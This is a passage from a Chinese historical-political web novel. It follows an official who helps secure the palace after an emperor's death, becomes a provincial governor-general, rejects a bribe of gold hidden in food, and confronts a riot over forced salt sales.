十一皇子也在诸王之列,已经憋不住火气,现在誉王又拿着遗诏说嘴,怒气直冲云霄,起身就要和他理论,被贵妃身边服侍的如意嬷嬷一把拦住,“殿下,娘娘说的什么,你又忘了不是?去娘娘身边伺候,陪着娘娘。” 纪祎忿忿不平挪到贵妃身边跪下,贵妃睨他一眼,“他是见事情已成定局在这里狂犬吠日,疯狗一般……你上去和他顶什么?就在这里陪着我,哪儿都不许去。” 毓秀叫人扶着皇后进后殿歇息,又费尽口舌地说:“历朝历代的成法,遗诏要先由嗣皇帝跪受。” 正当毓秀和誉王纠缠的时候,段之缙一咬牙去了后殿,皇后被灵寿郡主守着,里边传来低低的哭声。 段之缙叫吴祥禀报,很快哭声顿停,他被传召进去。 皇后肃了肃神色,“你有什么事儿?” “娘娘,现在灵堂内乱成一团,得叫领侍卫内大臣守卫乾清宫才妥当。领班侍卫叫御前一等侍卫唐馥担任,他此前是端王的侍卫,忠心耿耿。” 说是守卫,实则是控制诸王,不能再叫他们瞎闹。 皇后却在犹豫,“这是哪门子的规矩?断没有大行皇帝的梓宫跟前儿见兵戈的道理。” 段之缙劝道:“非常时期要用非常之法。再者大行皇帝的丧仪已经这样了,誉王的规矩也没守好,娘娘何必作茧自缚?还是平息事态,皇太子回来时也不至于手忙脚乱。此外,为防止出变故,还是先将诸王留在乾清宫,他们回府也只会相互串联。” “这能行吗?他们定然不会愿意的。” 灵寿郡主拳头攥死,附耳道:“娘娘,这不是他们愿不愿意的事情,是咱们愿不愿意的事情。昨天事发突然,诸王没有任何准备进了宫,现在他们手无寸铁都聚集在乾清宫,任我们处置,一旦回府可就不好说了。还是按照段之缙的提议来做,另外叫方醒封锁九门,一直等到父王回京。” “对!你们说的都对。”皇后恍然大悟,即刻命段之缙写懿旨,说完了又哀哀地哭起来,“哪里有孝子贤孙管管皇上?也就是没闹到停尸不顾罢了。” 到底是几十年的夫妻,到这时候了难免为了亡夫伤怀。 但夫妻之间,也没什么太深厚的情谊,皇后擦擦眼泪,又吩咐灵寿:“叫你十一叔把贵妃扶进后殿歇歇,她身子不好,不要在前边熬着了。” 段之缙写好懿旨叫皇后过目,得到许可后从后殿的门直接出去传旨,此时誉王仍在和毓秀纠缠,“等到皇太子回来,谁知道你们拿出的是谁写的遗诏!”然后又跪在灵柩前嚎哭,脑袋重重地撞在棺椁上。 而后唐馥领着侍卫包围了乾清宫,腰佩利刃。 殿内装聋作哑的王公惊慌起来,誉王哭声顿止,一直念佛的礼王也跪不住了,上前问毓秀:“梓宫跟前如何能见刀刃?谁准你们调集侍卫包围乾清宫的?” 毓秀不知怎么回事儿,段之缙从外头走进来扶着毓秀,回礼王:“王爷,是臣请了中宫的懿旨,调集侍卫保卫乾清宫,以防发生变乱。”字音一变,包围就成了保卫。 誉王生吃了段之缙的心都有,恨道:“你们蛊惑母后下发乱命,也配做雍朝的臣子吗?” 段之缙厉声道:“王爷慎言!臣的袍服俱是大行皇帝所赐,如何不是雍朝的臣子?且不仅臣是朝廷的臣子,王爷亦是朝廷的臣子!大行皇帝龙驭上宾,梓宫在御,灵几未寒,然殿下不唯面无戚容,反于大行皇帝遗体之前,胁逼母后、威凌治丧大臣,既非人子,也非人臣,殿下也是雍朝的臣子吗?” 侍卫来了,皇宫和京城也有方醒封锁,只要抛开上下尊卑,段之缙还有什么好怕的? 再者,论君臣,段之缙也不是诸王的臣子。 义正言辞的一番话说完,他又扫向诸王,“王爷们俱是大行皇帝血脉,誉王殿下于灵幄之中喧哗失仪,惊扰大行皇帝,竟无一人劝止,还有一点儿人伦之礼吗?”而后盯住了肃王,“王爷,你是先帝的爱子,大行皇帝待殿下之恩德,中外咸知,然长兄梓宫之前咆哮,先帝神灵不安,殿下默然如偶人……” 在众目睽睽之下,段之缙死拽着肃王上前,推着他去看大行皇帝的棺椁,愤恨道:“殿下,你怎么忍心啊!” 这一惊人之举,吓得殿内鸦雀无声,肃王手足无措,似乎真唤起了他的良知,回身含泪道:“二哥,您就让父皇安息吧……” 礼王和齐王也上前拉扯着誉王跪下, 灵堂内终于安静了下来。 殿外群臣听着殿内大呼小叫的声音,一个个缩头缩脑,唉声叹气。 今日的最后一次奠礼完成,群臣想要散去,诸王也要回府,但侍卫们把刀一横,唐馥单膝下跪,“奉中宫娘娘的懿旨,在嗣皇帝回京之前,王公大臣俱要留在宫中,王爷们也要在乾清宫守灵,不得出!” 誉王还记恨着兄弟把他拦下来,此时阴阳怪气道,“我怕做不孝之子,不忠之臣,还是听从母后安排。” 肃王魂不守舍,礼王和齐王十分不满,“嗣皇帝归京还有十余日,乾清宫如何能住得下这么多人?” “娘娘吩咐,女眷们进后宫,王爷们就在此处尽孝。一应饭食都由御膳房送来,至于住不住的下……娘娘说,跪的时候不是跪下了吗?” 王公们面面相觑,齐王不服输硬顶着往前走,谁知唐馥比他更横,直接亮出了白刃,这群笼中雀鸟连连后退,唐馥沉声道:“微臣绝不为难王爷,王爷也不要为难微臣。” 事到如今,大行皇帝的诸子才明白,天变了。 从昨天慌乱地进入乾清宫开始,就已经是人为刀俎,我为鱼肉。 这天起,宫门紧闭,除了采买的人员一律不得进出,即便是采买的人员也要反复搜身。 大街上金戈铁甲,巡捕营的官兵来回巡逻,家家门户紧闭。 自段之缙不回家那日起,王虞和施姨娘就天天念佛,连段家的两个小儿也觉察到了异样的氛围,沉默许多,明灯被沈白蘋抱着看笼里的蟋蟀打架,看了一会儿拉住沈白蘋的手问道:“沈夫人,皇祖是不是驾崩了?” 沈白蘋一时不知如何回答,问道:“你如何得知?” 明灯的眼泪就掉了下来,抽抽嗒嗒道:“我知道,母妃说的我都听见了,因为皇祖身体不好才把我送到这里来,段大人不回来,街上还那么多人,就是出事了……” 小孩子还不知道什么事前程权力,他担惊受怕,为每一个人担心,也为没见过几次的皇祖伤心,沈白蘋只搂着他拍哄,叫他这些日子闷在心里的情绪都哭出来。 最后捧着他的脸蛋道:“好孩子,你数一数还有几天就能见到爹爹了?” 明灯才止住哭,跟着沈白蘋一块儿数数,最后仰着脑袋看沈白蘋,“还有十天是不是?” “对,最快,太子十日就能到京了。” 实则纪禅舍下了仪仗,领着一众侍卫骑快马日夜兼程,硬生生省下来一半的时间,三月十六就到了京城。 纪禅进乾清宫的时候,大家甚至没有反应过来,只看见一个胡子拉碴的男人扑倒在梓宫前,痛哭不已。 “父皇……您睁开眼看看儿臣……” 纪禅泪如雨下,皇后亦是悲声不止,上前扶着棺椁哀泣:“陛下,你的太子回来了,你还记挂着的太子回来了!” 太子一系的人争先恐后地哭了起来,毓秀头昏脑涨,这样哭可乱了成法!遗诏也还没颁布! 他撑着身子去扶太子,“殿下节哀,您这样哭会坏了身子,大事小事还等着您做主呢。” 纪禅置若罔闻,毓秀劝了三次他才起身,等着他出乾清宫时,除了脸上的两道泪痕,哪还有什么悲色。 嗣皇帝既已回京,颁布遗诏的事情就不能再拖了。 毓秀催着工部官员在几筵殿东侧设置黄案,又亲手从内阁捧出诏书至几筵殿檐下,纪禅将其放到黄案上,行跪拜五叩首之礼后起身重回乾清宫,此时王公大臣已经到了天安门城楼,跪听遗诏,今日的丧仪完成之后,便放众人回家。 明灯此时还住在段家,段之缙回去后先揉了揉孩子的脑袋,“太子殿下回来了,想必公子明日就能回家。” “真的?!”小孩子的喜怒全在脸上,喜不自胜,绕着段之缙转圈,但他俩都没想到纪禅甚至等不到第二天,当天晚上就跑到了段家接儿子。 段之缙抱着孩子急冲冲往正堂接驾,明灯一见纪禅的影儿就嗷嗷叫了起来,挣扎着从段之缙怀中下来,还不等爬过高高的门槛就被纪禅掐住腋下抱起,在腮上狠狠亲了两口。 明灯瘪着嘴要哭,腻腻歪歪地说自己多么害怕,多么想父王和母妃,多么想弟弟。 纪禅撇了一眼段之缙,问明灯,“段大人待你好不好?你有没有听段大人的话?” 明灯哼哼唧唧,说段大人和沈夫人都很好,自己也很听话,纪禅就递给了明灯一个荷包,“那他们照顾了你这么长时间,临别时该送一些礼物对不对?大人的赏赐父皇来送,锁儿弟弟和珠珠哥哥的礼物你亲自去送可好?” 荷包里是一些小东西,明灯接过来被他的奶妈妈领去后院。 纪禅叹一口气,对着段之缙笑道:“这些时日多谢你了,我听毓秀说你的胆子不是一般大,竟然敢训斥誉王拉扯肃王,真有你的。” 段之缙跪地回道:“臣是殿下的臣子,誉王、肃王乃至诸王与臣无二,都是殿下的臣子,臣不能看着他们不守臣礼。” 纪禅眼里精光一闪,“你说得对,可他们往往认不清自己的地位,以太子之兄,太子之弟自居,乃至日后,还可能以天子之兄,天子之弟自居……”他口中喃喃,又哼笑一声,“这个没意思,还是先说说你的封赏。” “我不是先帝,不用抢别人的功劳给自己的儿子贴金,先前牛痘的功劳该是谁的就是谁的,加上这次的功劳……这样,你跟着毓秀做一个协理大学士如何?” “太子如此厚恩,臣虽死不能报偿,但臣的一点儿私愿,还是想要外放。” 纪禅一偏头,惊讶道:“留在京里不好吗?若是出京再想回京入阁可就难了。” “臣自知才识平庸,未尝牧养黎元,罔知稼穑艰难,纵随中堂们参赞机枢,也是庸臣。今州县乃社稷血脉,臣愿效文翁化蜀、西门豹治邺,亲历闾阎疾苦,哪怕能为一县之官也能养一县之民。” 纪禅将他扶起,欣慰道:“倘若新朝都是你这样的臣子,何愁天下不太平,外放也好,去地方做一番事业出来。天晚了,孤带着明灯走了。” 语罢,也不要段之缙相送,自己把回来的明灯抱上马车,回到了宫中。 京里有了嗣皇帝,原本停滞的帝国快速运转起来,嗣皇帝连下几道旨意,将未封的弟弟一体封王,也不知怎么想的,偏偏给了十一皇子二字封号,为“长乐王”,总理户部。而后不计前嫌,给诸王安排差事,单单漏下了肃王。 没过多久,新皇登基,敲定了先帝的谥号,正式发引下葬。 地宫封住后,又是连传几道上谕,撤换了步军营的军官,清查户部和工部的账目,又把肃王派去守皇陵,把西北之事摆上了台面,开始清算。 将近六月的时候,段之缙接到了外放的旨意,正二品南岺总督,管理南诏和岺州二省。于七月中旬之前到任。 第86章 086到任南诏 先帝的丧礼期间,新帝特意命人监视王公大臣,只要有半分不对就交有司议处,凭借此法,几日之内就处置了不少素来与他作对的远近宗室和他急着调换的官员,大家连个喊冤的地方都没有。 百官战战兢兢,唯恐叫人抓住了半点儿错处,到今日丧仪结束,整个朝堂都是一瘸一拐的官员,段之缙步履蹒跚地回到家中,被扶着坐在饭桌旁,一边吃饭一边叫小厮抹红花油。 施姨娘看着他心疼地抱怨:“都嘱咐了你把护膝戴上,总不能掀起来你的裤子看这个。” 段之缙苦笑,“还真能,前些日子就抓着一个戴护膝宗室,被交宗人府议罪了。” 沈白蘋笑道:“那么多王孙公子都同你一样结结实实跪着,还有什么不忿的?” 段之缙哼一声,“我们这些是跟着遭罪的,毓秀中堂、长乐王和两位小 皇子就没去受这个罪,两宫太后也没有受这个罪,公主们去了皇陵也被减免礼仪……” 他详数了陛下开恩之处,最后总结道:“皇帝心里明白着呢,他借此施威,空出了一大堆要紧的职位,都叫陛下更换了。” “行了行了,抱怨什么?”王虞打断了他,假嗔道:“叫人听去掌你的嘴。快吃饭,吃完了回去歇歇,我请了一位推拿的好手,今日好生给你按按。” 但饭尚未吃完,吏部宣旨的官员先一步到了,阖家跪受圣旨,“……兹念南岺地接蛮徽,民猺杂处,盐政边防,事繁责巨,非明达干济之臣,不足以膺斯任。特授尔总督,总理两省军民事务,节制文武,抚绥百夷。” 段之缙接旨,“臣领旨谢恩。” 宣旨的官员脸涨了起来,又道:“奉陛下的口谕,朕素闻京官外放,陋习相沿。尔辈赴任,多有以‘别敬’为名,馈遗部院、科道,动辄逾万。尔今任总督,膺封疆之寄,当以国事为念,岂可曲意逢迎,自堕名节?朕明告尔:此去西南,若有一钱一物贿结京僚,或受属员孝敬,朕必严究不贷!钦哉。” 怪不得他不太情愿,外放总督的,别敬要给到一万三千两之多,他多少能拿个几十两,结果皇上的口谕一出,这不是断人财路吗? “臣谨记陛下教诲。”段之缙叫仆人拿了一张五十两的银票,递给宣旨官,“请大人喝茶。” 宣旨官才有了些笑脸,提醒道:“我听部里说,陛下此次要痛加整顿,宁愿日后被京官们为难,也不能做出头鸟。” 段之缙道谢,亲自送他出门,再回到家中,众人都是欢欣雀跃。 王虞问道:“建朝以来,哪有不到而立的封疆大吏?都是你的造化,什么时候动身?” “六月初一启程,八月中旬到南诏顺平府,这次我带着蘋儿一起。” 王虞颔首,“那不就是后日?唉……连你的姨娘和儿子也带着去吧。去南诏的路不好走,一路上好生看着孩子和姨娘,不要叫他们病了。我留下来和周姨娘照看你的弟妹和珠珠。” 段之缙有些放心不下,叮嘱道:“若母亲有事情,不必怕麻烦,直接去找妹夫,或是找郑崑瑛……”他把郑崑瑛、秦行和邹文的居所全记了下来,倘若有急事就找他们去。“总之,母亲一定要照顾好自己。” “我什么风雨没见过,不用你叮嘱。”可说着,王虞还是掉下泪来,姨娘也泣不成声。 她们两个从小在一块儿,哪里分开过呢? 王虞擤一擤鼻子擦擦泪,“哭什么?平日里惯用的丫头小子都带上,王章也带上。再带些家丁……” 她细数一番,越数人越多,段之缙打断,“母亲,总共只能带五十个人,我自己安排就好。亲眷和仆从,这就是近二十人了,其余只带家丁。” 大家把应当带的人和东西都商量好,翌日段之缙进宫叩谢天恩,纪禅搬入了养心殿守孝,现在盘腿在榻上看折子,叫他起来答话,问道:“这次给你升的不小,直接到了正二品,你今年多少岁?” “臣今年二十有八。” “这么年轻就当成了总督,历朝历代罕有,你知道为什么吗?” 段之缙叩首:“臣愚钝。” “南岺总督不好当,还偏偏派你一个年轻人过去,只因内阁议定西南事宜,你全程都跟了,且据朕所见,你胆子奇大,改土归流又是你提出来的对策,自然要你去做。” 皇帝叫吕太清给他穿上鞋,从柜子中拿出了一把小铜锁递给他,“去了南诏,少上题本多写奏折,别什么事儿都跟内阁说。内阁那群人啊,纠纠缠缠什么事儿都耽误了,不如给朕上奏折方便。再者,万一起了官司,朕还能为你做主。对了,朕记得你是庶母所生?” 段之缙双手接过铜锁称是,皇帝又道:“本朝的律令,嫡母尚在的时候,不得为生母请封,而生母未封,妻子不得请封。不过凡事都有例外,只要你能在三年内将南诏改土归流一事完成,朕就给你的嫡母和生母俱赐一品诰命。” 段之缙欣喜叩首,“旷古未有之殊荣,臣纵肝脑涂地,亦难报万一。” “起来吧,朕也没有别的好吩咐,回去收拾收拾明日启程。” …… 段家收拾了一天,六月初一日,家人将他送到城门。 这一天,已经当上了户部侍郎的邹文也请假相送,他看着段之缙怅然道:“你说你自讨苦吃,当初叫你进王府你就不进,现在叫你呆在内阁你又想着外放,现在放去了百夷之地做劳什子总督。” 段之缙笑道:“总督总治军民,统辖文武,考核官吏,俢饬封疆。不比你侍郎威风多了?” “呸!累不死你!你看郑崑瑛多舒服,去了翰林院,以后先入部再入阁,这才是好日子呢!”邹文推他一把,“我跟你透个底儿,除了我和秦先生,现在少跟京官来往,也千万别学旁人给京官送钱。” “看来陛下要有大变动了?” 邹文神秘一笑:“这我可不能跟你说明白,只是告诉你,你秦先生还是回刑部,方家的案子就要归他审了,然后就借着这个案子给秦先生升迁。他的那个同年,叫李显光的也该调入京任职。” 段之缙心下一紧,刚想问方叙墨的事情,邹文便拍了拍他的肩膀,“送君千里终须一别,上路吧,你好好干,等到改土归流成功之日,给你加上兵部尚书衔。至于方叙墨,他靠着灵寿公主旱涝保收,不会有事儿的。” 段之缙便把方叙墨的事情咽回肚子里,马车声渐远,往西南方驶去。 这次赴任之行排场不小,仪仗齐备,轿辇如流水,身后的车拉着书籍、衣物,段之缙和沈白蘋在最前边的马车上清点财物。 “还有多少银子?” “很多呢,银票还有整两万两,碎银子一小箱,能用很长时间。” 段之缙盘算一下,“用不了多长时间。咱们刑名师爷、钱谷师爷和书启师爷都没有,挂号师爷也没有,还有林林总总的差役,要养活总督衙门,就算省着用,不请客送礼,不赏玩古董,一年最少五千两。还有咱们自己的吃用呢?” 这些银子朝廷可不给报销。 沈白蘋想了想:“咱们一路南下,两千两的程仪肯定能收到,而后两省的火耗……” 段之缙打断了她:“程仪绝对不能收,火耗我还得想一想。” 程仪算是一种孝敬,纪禅特意发了口谕不准收孝敬自己还收,那可真是老寿星上吊,活得不耐烦了。 至于火耗,怎么弄还得看当地的情况。 “这样的话,除了你那一百八十两的年俸,咱们可就没旁的收入了。再者,如果到了当地再找师爷,定然是晚了些。” 好的师爷不会在市面上流通。一个地方官调任了,会把全部的班底带走,倘若进京为官也会给自己的师爷安排好去处,因而好的师爷得靠人情来找。 段之缙一拍大腿,“有办法,咱们找不着,去抢属官的师爷,从巡抚到知府,每个人给我送一位师爷上来!” “也只能如此了。那还有书启师爷呢?这个可马虎不得,文书上一旦弄错,这可是大罪。咱们一年给他几百两也行,一定要挑好的来。” “是……” 在路上颠簸了两个月,八月十九日到了南诏顺平府,抵城时,城门鸣礼炮三响,省内官员于城门处迎接,段之缙下轿与众官寒暄,到衙署时众人已经备好了酒席,准备开宴。 段之缙先问道:“叫你们送的师爷送了吗?” 南诏巡抚熊计舒谄媚一笑,“制台大人放心好了,全都在后衙,就等大人考教。” 段之缙瞧他这样就难受,哼笑一声:“多谢你。”而后安顿好姨娘和沈白蘋,回到大堂中开宴。 期间,熊计舒不断地介绍着席面上的菜品。 “这些都是咱们南诏的特色,虽比不了京里的菜品精致,但别有一番滋味。” 的确是别有一番滋味,但官员们只顾着 敬酒,什么菜也没往口中送。 吃酒过半,段之缙站起身来,正色道:“诸位都是久经宦海之人,我比不得,料想诸位也瞧不起我。才吃了几年的俸禄,走了什么狗屎运,竟然当上了封疆大吏!” “可谁叫陛下抬爱呢?诸位也别看我年轻糊弄我。糊弄我不要紧,我天天给陛下上折子告状,你们吃得消就行。只要能干好朝廷的差事,我既不用你们送礼,也不用你们说好话,除了办差,咱们也别有其他的交集。” 在座的官员面面相觑,都口称不敢。 又喝了几回,席面散去,段之缙有些醉,只想回去歇着,偏生熊计舒犹豫着留下来,拍拍手掌,便有两个衙役抬进来一个食盒,他上前笑道:“制台大人,南诏也没什么好东西,这是一些上不了台面的小菜,给大人添个口味。” 然后食盒的盖子一掀,一碟炸饵块,用纤细像茅草一般的东西垫着,金灿灿的看不出是什么。 另一个更平平无奇,一只烧鸡摆在素盘子里。 熊计舒吩咐道:“快,给制台大人放到案上。” 两个衙役用力到脸色泛红,这才把食盒放到案上,发出“咚”的一声。 段之缙站起身来朝里边一看,无语到发笑。 感情刚才说的话都是白说的。 垫饵块的是金丝,再轻轻拨开鸡皮,里边的金沙哗啦啦地淌到食盒底部,段之缙把这两道菜拿出来,再往下看,是一捧捧的南洋金珠。 南诏难道有金山银山吗? 段之缙故作疑惑:“这饵块我认得,垫饵块的是何物?” “是拉的糖丝。” “那这鸡里边塞的是小米了?” 熊计舒以为这位制台大人上道,格外高兴,“大人好眼力,正是上好的小米!” 段之缙身子一倾,瘫坐在太师椅上,将冰盆里的一块儿冰握在手中祛热,乐道:“熊大人,我肠胃不好,只能吃软饭,吃不了这么硬的菜,你来吃吧。” “这……”熊计舒擦擦脸上的汗,“既然不合大人的胃口,那下官就拿回去。” “拿回去做什么?这么热的天拿回去就馊了,还是在这儿吃吧。王章!给熊计舒盛碗米出来!” 王章麻利地盛了一碗,段之缙示意他给熊计舒,“快请吧。” 熊计舒脸上的汗哗哗流,沉重的饭碗坠得人手腕疼,他拿着调羹在碗里搅动一下,看着段之缙似笑非笑的脸,膝盖一软。 段之缙连忙扶着他起来,“这是哪门子规矩,我们是上下级可不是君臣,哪有你跪我的道理?还是快吃饭吧。你若是不吃,我可要喂你了!”说着拿起调羹就要“喂饭”。 熊计舒惊慌道:“大人,大人!这米可不能吃!” 段之缙眉目一凌,“不能吃你放在鸡里边?你想谋害上官?!” 熊计舒头一回见这么难伺候的,更不知如何是好,最后心一横,想着抿一两粒也吃不死人,段之缙又突然变脸,笑道:“瞧你吓的,熊大人我与你开玩笑呢!快收起来吧。回去好生办差,可没有下次了。” 熊计舒长吐一口气,庆幸道:“自然,自然。下官一定专心办差。” 段之缙送他离开,眼睛一眯吩咐王章:“差人去楚雄府府衙附近打听打听,熊计舒一定有事儿。” 王章立刻去安排。 第87章 087太和县暴乱 段之缙扶着脑袋回到后衙。沈白蘋已经等了他很长时间,递上一碗醒酒汤,酸辣的滋味在段之缙口中炸开,差点叫他吐出来。 锁儿在旁边捂着鼻子看他,眉头皱得紧紧的,段之缙上去抱又被人家推开。 小孩挣扎,不断用力推移自己的父亲,口里喊着“好臭好臭”,施姨娘心疼地把孩子抱走,说道:“锁儿今晚跟着我睡,你们自己折腾吧。”而后便带着孩子走了。 沈白蘋也嫌弃地看段之缙,招呼小子上来把段之缙收拾干净,直接放在外室睡。 临睡之前还扯着他的耳朵叮嘱:“明天早些起来,咱们要选一选师爷。”又说了自己想好的考察之法。 段之缙只是身上酒气大,还没有到醉的程度,连声应下,又觉得方才的事情有趣,绘声绘色地跟蘋儿说了,逗得蘋儿嗔他,最后领着他回了内室。 那醒酒汤果然管用,第二天人醒的时候没有一点不适。 衙役在前衙支起屏风,沈白蘋在后,段之缙在前,两个人一起考察师爷。 “钱粮、刑名、文启师爷和挂号师爷从左到右排成四列。” 段之缙吩咐完,底下的先生哗啦啦地列队,结果文启师爷没送上来一个,挂号师爷最多。 果然啊果然,这衙门的班底还得自己来凑。 段之缙问道:“你们谁能说说南诏、岺州两省的赋税?说之前先报姓名。” 钱粮师爷中一人出列,回道:“大人,学生宗怀宁可回此问。” 宗怀宁是一中年人,料想是胸有成竹,因而十分自信,侃侃而谈,“南诏省,盐税与矿课占七成,尤以盐业,官运官销十分稳定。田赋与人丁税次之,南诏山多地少,土司地又免税,占比不足二成。而与域外诸国的茶马税、边关税以及各项杂税,种类繁多但零散,合计一成多。” “至于岺州,田赋与人丁银占六成以上,只是天无三日晴,地无三尺平,粮食产量极小。盐税占两成,但本省人都不够吃,还要靠南诏盐来接济。矿课以及各项杂税合计起来三成多。每年完税之后,还要靠朝廷的调拨和富裕省份的协饷才能维持。” 段之缙又看向其他人,“宗怀宁所说,可有不对?” 众人纷纷称是,段之缙之前在内阁当差,各省的赋税都看过,自然知道没有不对的地方。 没成想能送上来这样的人物,倒是在段之缙意料之外了。 “你原先的东家是谁?为什么把你送上来?” “学生原先在东川府知府大人手下,近月知府大人升任了京官,将学生托付给熊计舒大人。只因学生劝抚台大人不要送‘菜’逆了抚台的意思,又因为种种争执之处,这才被选送入总督衙门。” 沈白蘋开口,“你为何劝你们抚台不要送‘菜’?” 宗怀宁道:“总督新任,还没有摸清他的脾气,怎么能轻举妄动?小心为上,熊大人也不应该如此着急。” 段之缙大喜:“你是心思缜密的,熊计舒没福气可本督有福气,日后就是先生来主事,领着其他的钱粮师爷帮本督处理钱粮事务。还有一事,你可知熊计舒为何急着送‘菜’?” 宗怀宁摇头,“学生也是才到巡抚衙门不久,其中私密之事,学生并不知晓。” 段之缙了然,眼前这些人都不是权力核心里的幕僚,真正与主官亲近的幕僚是不会被送出来的。 而后又问了些具体的钱粮事务,虽再没有宗怀宁这样的人才,但也不是随便选上的师爷,各个都有真才实学。 问完钱粮又问刑名,以全守珍为首带领其他的刑名师爷处理刑名事务。 “与诸位明说,陛下任本督统辖两省,是为了改土归流一事,在土司之地设置府县流官,因而多数时间本督会在军营之中或是在外处理事务,难免分身乏术,钱粮刑名一类必须与夫人商议,不愿意的大可离开,本督绝不逼迫。” 全守珍道:“大人多虑了,此二省汉夷杂处民风剽悍,女人当家的也不少,百夷中世代传承女土司的更不在少数。” “那就好,聘金方面我绝不亏待你们,大家都是每岁二百两,宗先生和全先生每岁五百两。中午一起吃饭,下午就开始理文书,宗先生和全先生都是辅佐过巡抚的人,一应事宜如何处理还要麻烦你们与夫人商议,本督得去军中看看。” 午饭用完,段之缙带人去自己统辖的督标三营巡查,中军副将卢肖明与他汇报军备的情况。 段之缙问:“你们平时是如何训练的?” 卢肖明道:“步骑结合,初一、十五会集中训练鸟铳和骑射,平时训练些刀枪剑戟,爬云梯等等。” 段之缙眉头微蹙,“这儿多山,你们训练骑兵,能跑开吗?骑兵的占比有多少?西北的良马应该到不了这里吧?” “下官等都是按照朝廷的规定训练,五分之一是骑兵,马种是我们当地的马,呃……耐力不错。” 耐力不错,那就是说速度不行。 骑兵的优势就在于灵活机动,极速冲锋,平原作战最好。南岺一带地形崎岖,森林密布,纵然有河谷,面积也小得很,马跑两步就没了,又多雨潮湿导致道路泥泞,马匹还容易染上蹄病,得不偿失。 要跟朝廷汇报,降低骑兵的比例,把钱用在火枪上。 段之缙看着下边的士兵练习摔跤,又问道:“这些都是本地人? 他们的家眷都在此地吧?” “都是这里的兵户,家眷都在。” 段之缙颔首,随手指了一个年轻的小兵上来问话。 小兵也不知道他是谁,只知道这里最大的将军也对他恭恭敬敬的,因而十分拘谨,把脏了的手往身上擦擦,就听大人问道:“你恨夷人吗?” 小兵莫名其妙,“俺恨夷人干什么?” 卢肖明轻踹了他一脚,提醒道:“回制台大人。” 小兵没弄明白,憋了半晌来一句:“俺不是这台那台的大人。” “叫你在前边加一句‘回制台大人’!” 小兵恍然大悟:“回制台大人,俺恨夷人干什么?” 段之缙听他俩说了一场相声,哭笑不得,叫卢肖明先下去,又问道:“那你觉得夷人厉害,还是你们这些人厉害?” 小兵嗫嚅一会儿,“俺说实话?” “当然说实话。” “那还是夷人厉害,他们干起仗不要命。” 最能提高战斗力的应当是仇恨,而人的仇恨往往起源于自己的利益受到侵害。这些士兵和夷人并无什么利益冲突,但是夷人的利益却会因为朝廷的举动受到损害。 “若不是兵户,你定然不会当这个兵对不对?” 小兵偷偷瞥周围两眼,狠狠点了点头。 士气不振,这些人根本就是被赶上战场的,若碰上恶劣的地形,最先垮掉的是心里的防线。 段之缙叫他下去,又命卢肖明答话,“营地附近可有丛林?” “东北方向有一片密林,制台大人有何吩咐?” “从明日起,在林子中设置隐藏的人形靶,限时一个时辰,叫士兵用鸟铳打,每日打到并拿到靶子最多的士兵能拿二两的赏银,这个钱本督出。” 二两银不多,但一个马兵的月饷也才二两。 “此外,全军选拔鸟铳手组建一支新的队伍,只要能选上,月饷都按照三两来算。住些时日我会找人来讲书,你们准备准备一下,一个月要讲六次,五日一次,只要是喘气的都得过来听书,晓得吗?” 军中没什么解闷的东西,听到有这好事卢肖明喜笑颜开,“下官多谢大人。” 段之缙就留了下来,看着他们训练了两日,提出了一些意见又去巡查其他的营地,左右二营大差不差,正准备接着去兼管的曲寻协的时候,总督府的班头陈山来找。 他将怀里的文书捧给段之缙看,“制台大人,夫人命小的来找,叫您赶紧回去!” 段之缙展开一目十行,只觉一股血气上涌。 太和县发生了民变,县令和他的属官被剜眼折足,投入火中烧死了。现在乱民以县衙为据点,和官兵对峙。 “可知是怎么回事!” 陈山哭丧脸,“小的不知啊!这急报是刚送来的,现在还围着呢!” 段之缙也顾不得回总督府,一转身进了左营,吩咐游击参将:“给我选五十马兵,带上火铳!然后叫一百步兵跟在后边!”而后骑快马奔去了太和县衙。 街上已经被肃清,段之缙赶到的时候只能看见围困的官兵,县衙大门紧闭,看不见里边的人。 太和县属昭明府,知府泰仁带着兵丁守在外边,见段之缙来了赶紧上前。 段之缙翻身下马,“到底是怎么回事儿?现在是什么情况?” 今天出奇热,每个人都是一身汗,泰仁不断地擦拭着,喉结滚了几滚才说出话来,“回制台大人,经下官细查,此事起因乃私盐贩子煽动百姓作乱。下官已严令缉拿首恶。” 天本来就热得躁人,还要听泰仁讲这一通废话,重要的信息一点儿没说,段之缙怒道:“现在两方对峙起来,你要拿这个说辞报给朝廷!” 泰仁也憋不出什么话了,慌乱之中竟然跪在段之缙身前,段之缙怒火更旺,强拉着他起身,“别跪!我叫你这一跪,起码少活两年!给我把事儿说明白了!” 泰仁吞吞吐吐说不出话,熊计舒不知道从哪冒出来,低头弯腰,哈巴狗一样,哂笑道:“大人,大人,随下官来,下官跟大人说明白实情。” 段之缙狐疑看他一眼,跟着他去了阴凉处。 熊计舒搓搓手,“大人,您刚来咱们云南,不知道这里的机窍。这盐税官运官销,朝廷控制盐井、垫付薪本,灶户按定额煎盐,产盐定额上缴省仓。此后衙门雇脚夫将盐运至指定州县,按人头分配盐量,灶户交盐抵课,商贩缴纳盐引费用,州县通过官店销售后上缴盐课银……” “我用你跟我说?” 熊计舒尴尬一笑,“是是,大人自然是知道的,只是大人是内阁上官出身,不知我们地方的苦。朝廷每年的盐税要纳多少都是提早下了定额,我们南诏就得交上来这么些盐赋,可盐卤有些年多,有些年少,每年的产量不一样,人口有些年多,有些年少,我们的簿子也不能每年都变。” 段之缙额上青筋暴起,“人口减损了,你们也强逼人家买盐?” “这也是没办法的事情,总要完税啊!大人,就是您来了,这事儿还是这么个事儿,日后还得这么做,没办法改。” 段之缙气得发抖,“好好好!那天刚来的时候,我说别因为我年轻糊弄我,你们以为我在求饶?!一口一个‘没办法改’,本督还要问问,有谁把这弊病往上报了?!我在内阁看了这么长时间的折子,南诏也完了一次盐税,这样不合理的事儿为什么不上报!” 越说越气,段之缙朝着熊计舒的肩膀擂了一拳,熊计舒踉跄几下跌倒在地,“你们还有理由了?知县和他亲眷的命谁来偿?!” 怒完,段之缙深吐两口气平复下来,被火铳手护着走到大门前,“里边的人听着!本督是南岺总督,尔等之苦情,本督已尽悉其情!只要能打开大门,本督会求皇上赦免从犯,为首者本督也会为他争取减刑!” 里边突然嘈杂了起来,一个年轻的声音大喊道:“不要听这些狗官骗人!他们上下都是一个样,往盐里掺沙子,还要逼着我们买!”段之缙闻言先回头瞪了那两个缩肩缩首的,又张嘴喊了两声,却被衙门里起伏不断的赞同声吞没。 段之缙回首吩咐火铳手:“朝天上放枪。” 随后响彻天空的几声枪响,里边的人霎时间停住了声音。 